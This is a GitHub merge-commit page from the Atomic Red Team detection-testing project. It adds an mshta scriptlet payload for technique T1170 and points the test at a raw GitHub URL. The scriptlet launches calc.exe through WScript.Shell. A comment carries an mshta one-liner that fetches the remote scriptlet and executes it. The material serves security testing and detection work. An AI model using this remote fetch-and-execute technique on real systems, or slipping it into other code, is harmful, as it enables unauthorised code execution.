Merge pull request #249 from jmaas/T1170-add-payload

Make T1170 self-contained; add payload and provide working URL's.
This commit is contained in:
Michael Haag
2018-06-12 10:06:18 -04:00
committed by GitHub
2 changed files with 30 additions and 1 deletions
+1 -1
View File
@@ -12,7 +12,7 @@ atomic_tests:
file_url:
description: location of the payload
type: Url
default: https://www.example.com/mshta.sct
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
command: |
+29
View File
@@ -0,0 +1,29 @@
<?XML version="1.0"?>
<scriptlet>
<!-- Test -->
<!-- mshta.exe javascript:a=(GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct")).Exec();close(); -->
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>